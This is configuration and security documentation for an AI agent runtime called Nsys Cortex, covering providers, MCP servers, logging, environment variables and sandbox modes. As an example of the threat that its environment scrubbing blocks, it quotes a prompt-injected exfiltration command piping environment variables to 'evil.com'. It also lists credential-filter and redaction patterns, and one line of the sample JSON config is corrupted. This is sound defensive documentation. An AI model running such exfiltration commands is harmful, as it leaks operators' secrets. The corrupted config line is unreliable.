Configuration
Nsys Cortex can be configured via a JSON config file and/or environment variables. Environment variables always take precedence over the config file.
Priority order: environment variables > ~/.nsys-cortex/config.json > hardcoded defaults
Configuration File
On first run, nsys-cortex automatically creates ~/.nsys-cortex/config.json with default settings. Edit this file to set your API keys and customize defaults — no need to export environment variables in every shell session. Prefer the nsys-cortex config command over hand-editing: nsys-cortex config set llm.providers.anthropic.apiKey sk-ant-... (schema-validated, atomic, written 0o600) — see CLI Reference → Config Command.
Auto-Created Default Config
The first time any nsys-cortex command runs (or the API server starts), the following file is created at ~/.nsys-cortex/config.json:
{
"mode": "dev",
"port": 3100,
"logLevel": "debug",
"llm": {
"defaultProvider": "anthropic",
"providers": {
"anthropic": {
"apiKey": "",
"model": "claude-opus-5-5",
"maxTokens": 8192,
"temperature": 0,
"baseUrl": "https://api.anthropic.com"
},
"openai": {
"apiKey": "",
\g<1>16384,
"temperature": 0,
"baseUrl": "https://api.openai.com/v1"
},
"gemini": {
"apiKey": "",
"model": "gemini-4-argon",
"maxTokens": 8192,
"temperature": 0,
"baseUrl": "https://generativelanguage.googleapis.com/v1beta"
},
"grok": {
"apiKey": "",
"model": "grok-4.7",
"maxTokens": 4096,
"temperature": 0,
"baseUrl": "https://api.x.ai/v1"
},
"mistral": {
"apiKey": "",
"model": "mistral-large-latest",
"maxTokens": 4096,
"temperature": 0,
"baseUrl": "https://api.mistral.ai/v1"
},
"ollama": {
"apiKey": "",
"model": "llama4",
"maxTokens": 4096,
"temperature": 0,
"baseUrl": "http://localhost:11434/v1"
},
"vllm": {
"apiKey": "",
"model": "Qwen/Qwen3.8-27B",
"maxTokens": 4096,
"temperature": 1,
"baseUrl": "http://localhost:8000/v1"
},
"lmstudio": {
"apiKey": "",
"model": "qwen/qwen3.8-27b",
"maxTokens": 4096,
"temperature": 1,
"baseUrl": "http://localhost:1234/v1"
},
"sglang": {
"apiKey": "",
"model": "Qwen/Qwen3.8-27B",
"maxTokens": 4096,
"temperature": 1,
"baseUrl": "http://localhost:30000/v1"
}
}
},
"sandbox": {
"resourcesDir": "~/.nsys-cortex/resources",
"overlayStoreDir": "~/.nsys-cortex/overlays",
"snapshotStoreDir": "~/.nsys-cortex/snapshots",
"defaultVcpus": 1,
"defaultMemMib": 256,
"docker": { "memMib": 1024, "vcpus": 1, "pidsMax": 512 }
},
"agent": {
"maxTurns": 25,
"timeoutMs": 600000
},
"sessions": {
"storageDir": "~/.nsys-cortex/sessions",
"idleTimeoutMs": 14400000,
"maxAgeMs": 86400000
},
"logging": {
"dir": "~/.nsys-cortex/logs",
"maxFileSizeMb": 25,
"retentionDays": 30,
"fileLogging": true,
"fileLogLevel": "debug",
"consoleLogging": true,
"consoleLogLevel": "warn"
}
}
Each provider has its own apiKey, model, maxTokens, temperature, baseUrl and contextTokens — the context window the run budgets against, for a self-hosted server whose maximum sequence length is below the model's native window; unset = the model's registered budget or 128K. Fill in the API keys for the providers you use. To switch providers, change defaultProvider — all provider-specific settings (model, tokens, etc.) are automatically applied from the active provider's config. The active provider is the one NSYS_CORTEX_LLM_PROVIDER names when that variable is set (env wins), else defaultProvider. Every provider's baseUrl is exported to its own variable (ANTHROPIC_BASE_URL, OPENAI_BASE_URL, GEMINI_BASE_URL, XAI_BASE_URL, MISTRAL_BASE_URL, and the four local ones), whether or not it is active, so a failover chain's other candidates reach their own endpoints.
An optional llm.failover array (not in the auto-created defaults) defines an ordered fallback chain of provider[:model] entries, e.g. "failover": ["anthropic:claude-opus-5-5", "openai:gpt-6.1-sol"]. When set it takes precedence over defaultProvider — see Agent Runtime → Model Failover Chain.
An optional top-level mcpServers array (also not in the defaults) connects external MCP servers whose tools are loaded into the agent's registry at startup, namespaced mcp__<name>__<tool>:
{
"mcpServers": [
{ "kind": "stdio", "name": "git", "command": "npx", "args": ["-y", "@modelcontextprotocol/server-git"] },
{ "kind": "http", "name": "fetch", "url": "http://localhost:9090/mcp", "token": "optional-bearer" },
{ "kind": "http", "name": "crm", "url": "https://mcp.example/mcp", "headers": { "x-tenant": "acme" },
"auth": { "kind": "oauth-client-credentials", "tokenUrl": "https://idp.example/oauth/token", "clientId": "cortex", "clientSecret": "…", "scopes": ["mcp:tools"], "resource": "https://mcp.example/mcp" } }
]
}
An http server speaks Streamable HTTP (ADR-016; the earlier HTTP+SSE transport is not supported) and authenticates with a bearer token, fixed headers, or OAuth 2.1 client credentials under auth (kind: "oauth-client-credentials", tokenUrl, clientId, clientSecret, optional scopes and RFC 8707 resource) that the host obtains and refreshes before expiry; token and auth together are refused. clientSecret and token are credentials: config get masks them and the logger redacts them. (#15)
Server names must match [a-zA-Z0-9_-]{1,32} (they become tool-name prefixes). A server that fails to connect is logged and skipped — it costs you its tools, not your session. Only connect servers you trust: their tool descriptions reach the model verbatim (truncated to 1KB as a bound, not a defense) and their tools execute with the agent's privileges. See Agent Toolkit → MCP Integration.
When more than mcpDeferThreshold MCP tools are configured (default 10), they lazy-load behind an mcp_find_tools meta-tool to save context — the model loads only the tools it needs, on demand. Set "mcpDeferThreshold": 100 (or any high value) to always load eagerly, or 0 to always defer.
All fields are optional — you can remove providers you don't need.
Config File Behavior
- On first run,
~/.nsys-cortex/directory andconfig.jsonare created automatically with defaults. - If the file already exists, it is read and applied.
- If the file contains invalid JSON, a warning is logged and startup continues.
- If individual fields fail validation, a warning is logged but valid fields are still applied.
- The config file is read once at startup by the CLI and API server.
Data Files
The ~/.nsys-cortex/ directory also stores persistent data files:
| Path | Description |
|---|---|
~/.nsys-cortex/config.json |
Configuration file (auto-created on first run, mode 0o600 — holds plaintext API keys) |
~/.nsys-cortex/resources/ |
Firecracker resources (vmlinux, rootfs.ext4) |
~/.nsys-cortex/overlays/ |
Neuron overlay filesystems (persistent workspace per neuron) |
~/.nsys-cortex/snapshots/ |
VM snapshots (Firecracker mode) |
~/.nsys-cortex/sessions/ |
Session transcripts and metadata (dirs 0o700, transcript + index files 0o600) |
~/.nsys-cortex/logs/ |
Log files (daily rotation, configurable retention; files 0o600) |
~/.nsys-cortex/chat-history/<agentId> |
Per-neuron readline history for interactive chat (dir 0o700, file 0o600; up to 1000 entries) |
Logging
Console and file logging can be independently configured with different log levels. Each output can also be disabled entirely.
The logging config section controls logging behavior:
| Field | Default | Description |
|---|---|---|
consoleLogging |
true |
Set to false to disable console output |
consoleLogLevel |
warn |
Log level for console (stdout/stderr) |
fileLogging |
true |
Set to false to disable file logging entirely |
fileLogLevel |
debug |
Log level for file output |
dir |
~/.nsys-cortex/logs |
Log file directory |
maxFileSizeMb |
25 |
Max size per log file before rotation (MB) |
retentionDays |
30 |
Days to keep log files (cleaned up at startup) |
Per-target log levels have their own defaults: consoleLogLevel defaults to warn and fileLogLevel defaults to debug. The top-level logLevel field in the config file is applied to NSYS_CORTEX_LOG_LEVEL but does not override per-target defaults — set consoleLogLevel or fileLogLevel explicitly to change them.
Log levels in order: debug, info, warn, error. Messages below the configured level for a given target are suppressed.
Log files use the naming convention nsys-cortex-YYYY-MM-DD-pidNNNN.log and rotate to .log.1, .log.2, etc. when they exceed the size limit. The PID suffix ensures multiple concurrent cortex processes (e.g. CLI + API server) don't interleave their writes.
All log files are created with mode 0o600 (owner-only readable). The logger automatically redacts known credential patterns from messages before writing to disk — API keys (Anthropic sk-ant-…, OpenAI sk-…, xAI xai-…, Google AIza…, GitHub PATs, AWS access keys), Authorization / Bearer headers, PEM-encoded private keys, and any object property whose name matches /token|key|secret|password|authorization|cookie/i are replaced with ***REDACTED***.
File logging is initialized after the config file is loaded. Agent processes running inside neurons do not initialize file logging — their stdout/stderr is captured by the host process.
Environment Variables
All project-specific variables use the NSYS_CORTEX_ prefix to avoid collisions with other tools. Environment variables can also be set via a .env file (see .env.example for defaults).
| Variable | Default | Description |
|---|---|---|
NSYS_CORTEX_MODE |
auto |
Sandbox mode: auto (docker when a Docker daemon + the neuron image are present, else dev), dev, docker or firecracker — see Docker mode |
NSYS_CORTEX_ALLOW_INSECURE_DEV |
(unset) | Required (1) to start dev mode — see Security below |
NSYS_CORTEX_PORT |
3100 |
HTTP API server port |
NSYS_CORTEX_API_HOST |
127.0.0.1 |
Bind host for the HTTP API. Non-loopback requires NSYS_CORTEX_API_TOKEN |
NSYS_CORTEX_API_TOKEN |
(unset) | Bearer token enforced on all /api/ routes when set |
NSYS_CORTEX_API_TOOL_PRESET |
coding |
Tool preset for HTTP-API agent loops: coding, readonly, admin, minimal |
NSYS_CORTEX_RATE_LIMIT |
600 |
Max requests per window per IP on all /api/ routes (0 disables) |
NSYS_CORTEX_RATE_LIMIT_LLM |
60 |
Tighter per-IP budget on /sessions/:id/message + /run (each spends tokens; 0 disables) |
NSYS_CORTEX_RATE_LIMIT_WINDOW_MS |
900000 |
Rate-limit window in ms (default 15 min; floored at 1s) |
NSYS_CORTEX_RESOURCES_DIR |
~/.nsys-cortex/resources |
Path to vmlinux and rootfs.ext4 |
NSYS_CORTEX_DOCKER_IMAGE |
nsys-cortex-neuron:latest |
Docker mode: neuron image (npm run build:image) |
NSYS_CORTEX_DOCKER_NETWORK |
bridge |
Docker mode: bridge, none, or a user-defined network. host is refused |
NSYS_CORTEX_DOCKER_BIN |
docker |
Docker mode: CLI binary used to drive the daemon |
NSYS_CORTEX_DOCKER_TMP_MIB |
512 |
Docker mode: size of the tmpfs mounted at /tmp |
NSYS_CORTEX_DOCKER_READONLY_ROOT |
true |
Docker mode: mount the image read-only (false makes the throwaway layer writable) |
NSYS_CORTEX_DOCKER_MEM_MIB |
1024 |
Docker mode: memory cap of the container in MiB (--memory = --memory-swap, swap off) |
NSYS_CORTEX_DOCKER_VCPUS |
1 |
Docker mode: --cpus |
NSYS_CORTEX_DOCKER_PIDS_MAX |
512 |
Docker mode: --pids-limit |
NSYS_CORTEX_DOCKER_TRANSPORT |
auto |
Docker mode: the host ↔ agent channel — auto (tcp on Docker Desktop, else unix), unix, tcp; none network needs unix |
NSYS_CORTEX_OVERLAY_STORE_DIR |
~/.nsys-cortex/overlays |
Where neuron overlay disks/dirs are stored |
NSYS_CORTEX_SNAPSHOT_STORE_DIR |
~/.nsys-cortex/snapshots |
Where VM snapshots are stored |
NSYS_CORTEX_DEFAULT_VCPUS |
1 |
Firecracker mode: the guest's vCPUs (never read for a container — NSYS_CORTEX_DOCKER_VCPUS) |
NSYS_CORTEX_DEFAULT_MEM_MIB |
256 |
Firecracker mode: the guest's RAM in MiB (never read for a container — NSYS_CORTEX_DOCKER_MEM_MIB) |
NSYS_CORTEX_LOG_LEVEL |
debug |
Global log level (informational, does not override per-target defaults) |
NSYS_CORTEX_CONSOLE_LOGGING |
true |
Enable console logging (stdout/stderr) |
NSYS_CORTEX_CONSOLE_LOG_LEVEL |
warn |
Log level for console output |
NSYS_CORTEX_FILE_LOGGING |
true |
Enable file logging to ~/.nsys-cortex/logs/ |
NSYS_CORTEX_FILE_LOG_LEVEL |
debug |
Log level for file output |
NSYS_CORTEX_CONFIG_DIR |
~/.nsys-cortex |
Directory holding config.json (only the config file; logs, sessions, overlays and sockets have their own settings) |
NSYS_CORTEX_LOG_DIR |
~/.nsys-cortex/logs |
Log file directory |
NSYS_CORTEX_LOG_MAX_FILE_SIZE_MB |
25 |
Max log file size before rotation (MB) |
NSYS_CORTEX_LOG_RETENTION_DAYS |
30 |
Days to keep log files |
Agent Runtime Variables
| Variable | Default | Description |
|---|---|---|
NSYS_CORTEX_LLM_PROVIDER |
anthropic |
LLM provider: anthropic, openai, gemini, grok, mistral, ollama, vllm, lmstudio, or sglang |
NSYS_CORTEX_LLM_FAILOVER |
— | Ordered failover chain, provider[:model] comma-separated (e.g. anthropic:claude-opus-5-5,openai:gpt-6.1-sol). Takes precedence over NSYS_CORTEX_LLM_PROVIDER. Config-file equivalent: llm.failover array |
NSYS_CORTEX_MCP_SERVERS |
— | External MCP servers as a JSON array (mirrored from the config-file mcpServers section; env wins). Tools load at startup as mcp__<name>__<tool> |
NSYS_CORTEX_APPROVAL_REQUIRE_FOR |
destructive |
The effect classes whose tools run only after an explicit approval on the agent loop's gate (comma-separated; config agent.approval.requireFor; ADR-012, #16). Empty = none by class; a tool's requiresApproval policy and elevated at the ask level still ask |
NSYS_CORTEX_APPROVAL_TIMEOUT_MS |
300000 |
How long an approval request may wait; no decision in time is a deny (config agent.approval.timeoutMs) |
NSYS_CORTEX_MCP_DEFER_THRESHOLD |
10 |
MCP tools above this count lazy-load behind an mcp_find_tools meta-tool (config mcpDeferThreshold). High = always eager; 0 = always defer |
NSYS_CORTEX_LLM_MODEL |
claude-opus-5-5 |
Default model for agent sessions |
NSYS_CORTEX_LLM_MAX_TOKENS |
8192 |
Max output tokens per model call |
NSYS_CORTEX_LLM_TEMPERATURE |
0 |
Sampling temperature |
NSYS_CORTEX_LLM_CONTEXT_TOKENS |
— | The context window the run budgets against: a self-hosted server's --max-model-len (32768 on a single-A10 Qwen3.8-27B, ~100000 on a two-A10 box at 131K); replaces the model's registered budget or the 128K default; llm.providers.<p>.contextTokens in the config file (#38) |
NSYS_CORTEX_LLM_BASE_URL |
— | Override the base URL of the provider selected by NSYS_CORTEX_LLM_PROVIDER / defaultProvider only. Failover candidates and explicitly requested providers ignore it and read their own <PROVIDER>_BASE_URL below |
ANTHROPIC_API_KEY |
— | Required for Anthropic provider |
OPENAI_API_KEY |
— | Required for OpenAI provider |
GEMINI_API_KEY |
— | Required for Gemini provider |
XAI_API_KEY |
— | Required for Grok (xAI) provider |
MISTRAL_API_KEY |
— | Required for Mistral provider |
ANTHROPIC_BASE_URL |
https://api.anthropic.com |
Override Anthropic base URL (mirrored from llm.providers.anthropic.baseUrl; env wins) |
OPENAI_BASE_URL |
https://api.openai.com/v1 |
Override OpenAI base URL (mirrored from llm.providers.openai.baseUrl; env wins) |
GEMINI_BASE_URL |
https://generativelanguage.googleapis.com/v1beta |
Override Gemini base URL (mirrored from llm.providers.gemini.baseUrl; env wins) |
XAI_BASE_URL |
https://api.x.ai/v1 |
Override Grok (xAI) base URL (mirrored from llm.providers.grok.baseUrl; env wins) |
MISTRAL_BASE_URL |
https://api.mistral.ai/v1 |
Override Mistral base URL (mirrored from llm.providers.mistral.baseUrl; env wins) |
OLLAMA_BASE_URL |
http://localhost:11434/v1 |
Override Ollama base URL |
VLLM_BASE_URL |
http://localhost:8000/v1 |
Override vLLM base URL |
VLLM_API_KEY |
— | Only required if vLLM was started with --api-key (otherwise unused) |
LMSTUDIO_BASE_URL |
http://localhost:1234/v1 |
Override LM Studio base URL |
LMSTUDIO_API_KEY |
— | Only required if LM Studio is behind an auth proxy (otherwise unused) |
SGLANG_BASE_URL |
http://localhost:30000/v1 |
Override SGLang base URL |
SGLANG_API_KEY |
— | Only required if SGLang was started with --api-key (otherwise unused) |
NSYS_CORTEX_AGENT_MAX_TURNS |
25 |
Max tool-use turns per run |
NSYS_CORTEX_AGENT_TIMEOUT |
600000 |
Run timeout (ms) |
NSYS_CORTEX_STRICT_TOOL_INPUT |
false |
Strict tool-input validation (config agent.strictToolInput; ADR-011, #17): no scalar coercion — "5" for a number field is rejected and the validator's message goes back to the model. Default coerces (local models stringify numbers) |
NSYS_CORTEX_SESSION_STORAGE_DIR |
~/.nsys-cortex/sessions |
Session transcript storage directory |
NSYS_CORTEX_SESSION_IDLE_TIMEOUT |
14400000 |
Wall-clock ms after which an active session flips to idle status (default 4h) |
NSYS_CORTEX_SESSION_MAX_AGE |
86400000 |
Wall-clock ms after which a session is dropped (callers see it as absent; default 24h) |
NSYS_CORTEX_INTEGRATION_LLM |
(unset) | Set to 1 to enable the LLM-gated integration tests (agent-run.test.ts, streaming.test.ts). Requires a provider API key. |
Agent-Side Variables
These are set automatically by the sandbox manager when spawning a neuron. They configure the agent process running inside the neuron.
The dev sandbox passes a scrubbed environment to the agent child — process.env is NOT inherited as-is. An allow-list (PATH, HOME, LANG, TZ, TMPDIR, TERM, SHELL, PWD, NODE_ENV, NODE_OPTIONS, NODE_PATH, plus anything prefixed NSYS_CORTEX_) passes through; everything matching credential patterns (*_API_KEY, *_TOKEN, *_SECRET, AWS_*, SSH_*, GH_*, GITHUB_*, etc.) is filtered out. This prevents a prompt-injected agent from running env | curl evil.com and exfiltrating the host operator's credentials.
| Variable | Default | Description |
|---|---|---|
NSYS_CORTEX_AGENT_WORKDIR |
/home/agent/workspace |
Working directory for the agent executor. In dev mode, set to the overlay directory path. Controls path validation. |
NSYS_CORTEX_VSOCK_PATH |
(set by sandbox) | Unix socket path for host-guest communication (dev mode) |
NSYS_CORTEX_TEST_FIRECRACKER |
— | Set to 1 to run Firecracker-specific integration tests (Linux only) |
Security
For the full threat model — every security guarantee stated plainly and mapped to the regression test that enforces it — see Security Posture. This section covers the operational knobs.
Dev mode is NOT a security boundary
In dev mode the agent runs as a child process with your user's permissions. A prompt-injection that gets the agent to invoke bash can read or write any file your user can access. To prevent accidental "I didn't realize this was running" exposure, the CLI now refuses to start in dev mode without the NSYS_CORTEX_ALLOW_INSECURE_DEV=1 env var:
When the default mode auto cannot find Docker, the CLI first says why — Docker sandbox unavailable (<reason>) — falling back to dev mode. — and then:
Refusing to start in dev mode.
Dev mode runs the agent with your user permissions and is NOT a security
boundary. A prompt-injected agent can read any file your user can read,
and execute any command your user can execute.
The default mode (auto) uses Docker when it is available: start the Docker daemon and
run "npm run build:image", and the agent runs in a hardened container — no acknowledgement needed.
To proceed in dev mode anyway, set NSYS_CORTEX_ALLOW_INSECURE_DEV=1 to acknowledge the risk.
Alternatives: --mode=docker runs the agent in a hardened container (fails closed without Docker
and "npm run build:image"); --mode=firecracker is the intended MicroVM boundary
(Linux + KVM + root; not yet validated — only run trusted workloads).
(When dev mode was asked for explicitly — --mode=dev, NSYS_CORTEX_MODE=dev or "mode": "dev" in config.json — the middle lines instead say so and point at nsys-cortex config set mode auto.) --help, --version and the config command are exempt: they touch no sandbox, so they neither probe Docker nor need the acknowledgement.
⚠️ Firecracker mode's isolation is implemented but not yet validated on a KVM host (see Security Posture → Firecracker isolation — implemented, pending KVM validation). Until that checklist passes there is no mode verified to safely run untrusted prompts or code. Docker mode is a real but kernel-sharing boundary — the strongest option that runs on a developer machine today.
Docker mode
Docker mode is what the default mode, auto, resolves to whenever docker version answers and the neuron image exists — so with Docker running and the image built, plain nsys-cortex chat my-agent already runs in a container. Set mode to docker to fail closed instead of falling back to dev, or to dev to opt out. Config files created by versions whose default was dev carry mode: "dev" and keep it until nsys-cortex config set mode auto.
NSYS_CORTEX_MODE=docker (or --mode=docker) runs the agent inside a hardened container built from the same image as the Firecracker rootfs. It needs a reachable Docker daemon and the neuron image; the factory refuses to start without either:
npm run build:image # builds nsys-cortex-neuron:latest (+ :<version>); node-pty compiles inside the image
NSYS_CORTEX_MODE=docker nsys-cortex chat my-agent
What runs where:
- the agent's home is
~/.nsys-cortex/overlays/<agentId>/homeon the host, bind-mounted at/home/agent— workspace, memory and caches persist across restarts, owned by your uid; - the control socket is
~/.nsys-cortex/sockets/docker/<agentId>/vsock.sock, bind-mounted at/run/nsys-cortex/(only that neuron's socket is visible inside); - the image is read-only;
/tmpis a private tmpfs; the container runs as your uid with all capabilities dropped,no-new-privileges, Docker's default seccomp/AppArmor, and memory/cpu/pids caps. Full table: Security Posture → Docker mode.
Config-file equivalent of the env vars above:
{
"mode": "docker",
"sandbox": {
"docker": { "image": "nsys-cortex-neuron:latest", "network": "bridge", "transport": "auto", "memMib": 1024, "vcpus": 1, "pidsMax": 512, "tmpMib": 512, "readOnlyRoot": true }
}
}
sandbox.docker.transport / NSYS_CORTEX_DOCKER_TRANSPORT picks the host ↔ agent channel (ADR-009): unix — a Unix socket in the per-neuron dir, where the daemon shares the host's kernel (Linux Docker Engine); tcp — a loopback TCP port the container publishes on 127.0.0.1 only and the host dials with a per-neuron token file, where the daemon runs in a VM (Docker Desktop); auto (default) picks tcp when docker info reports Docker Desktop. The offline network (none) has no port to publish, so none + tcp is refused. The container's caps are sandbox.docker.memMib / vcpus / pidsMax / tmpMib — NSYS_CORTEX_DOCKER_MEM_MIB (1024), NSYS_CORTEX_DOCKER_VCPUS (1), NSYS_CORTEX_DOCKER_PIDS_MAX (512), NSYS_CORTEX_DOCKER_TMP_MIB (512). The memory default is higher than the MicroVM's 256 MiB because there is no guest kernel to budget for, and npm install inside 256 MiB gets OOM-killed. sandbox.defaultMemMib / NSYS_CORTEX_DEFAULT_MEM_MIB (and defaultVcpus, NSYS_CORTEX_PIDS_MAX) are the Firecracker guest's and are never read for a container: until #27 the Docker branch fell back on them, and since the auto-created config file carries the guest's 256, every container was capped at 256 MiB whatever this page said. An operator who exported NSYS_CORTEX_DEFAULT_MEM_MIB for a container moves to NSYS_CORTEX_DOCKER_MEM_MIB or nsys-cortex config set sandbox.docker.memMib <MiB>. NSYS_CORTEX_DOCKER_NETWORK=none gives an offline agent; the default bridge has no egress filtering (it reaches the LAN and host services bound on 0.0.0.0). Snapshot/restore are not supported — the overlay directory is the persistent state; back it up directly. Dev-mode list shows docker neurons' overlay dirs as stopped and vice versa (they share the overlay store but have different layouts).
CLI tool preset
The interactive chat command defaults to the coding tool preset (read/write/edit/bash). Pass --admin to opt in to the full preset (process_*, apply_patch, elevated, etc.).
nsys-cortex chat my-agent # safe default
nsys-cortex chat my-agent --admin # shell access enabled
HTTP API authentication
The HTTP API binds 127.0.0.1 by default. To expose it on the network:
export NSYS_CORTEX_API_HOST=0.0.0.0
export NSYS_CORTEX_API_TOKEN=$(openssl rand -hex 32)
npm run start
All requests under /api/ must include Authorization: Bearer <token>. Without the token, the server refuses to bind a non-loopback host. The token is verified in constant time (SHA-256 + crypto.timingSafeEqual), so it can't be recovered byte-by-byte through response-latency timing.
Rate limiting. All /api/ routes are rate-limited per client IP — 600 requests / 15 min by default (NSYS_CORTEX_RATE_LIMIT), with a tighter 60 / 15 min budget on the two agent-loop routes (/message, /run) since each can spend real LLM tokens (NSYS_CORTEX_RATE_LIMIT_LLM). Over-budget requests get 429 with the standard { error: { code: "RATE_LIMITED", requestId } } envelope and RateLimit-* headers. Set either limit to 0 to disable that tier; adjust the window with NSYS_CORTEX_RATE_LIMIT_WINDOW_MS. Behind a reverse proxy, configure Express trust proxy or every client shares the proxy's IP bucket.
The API server's agent-loop preset defaults to coding. Override via NSYS_CORTEX_API_TOOL_PRESET=admin if you need the full tool set (coding already includes bash; readonly is the shell-free preset).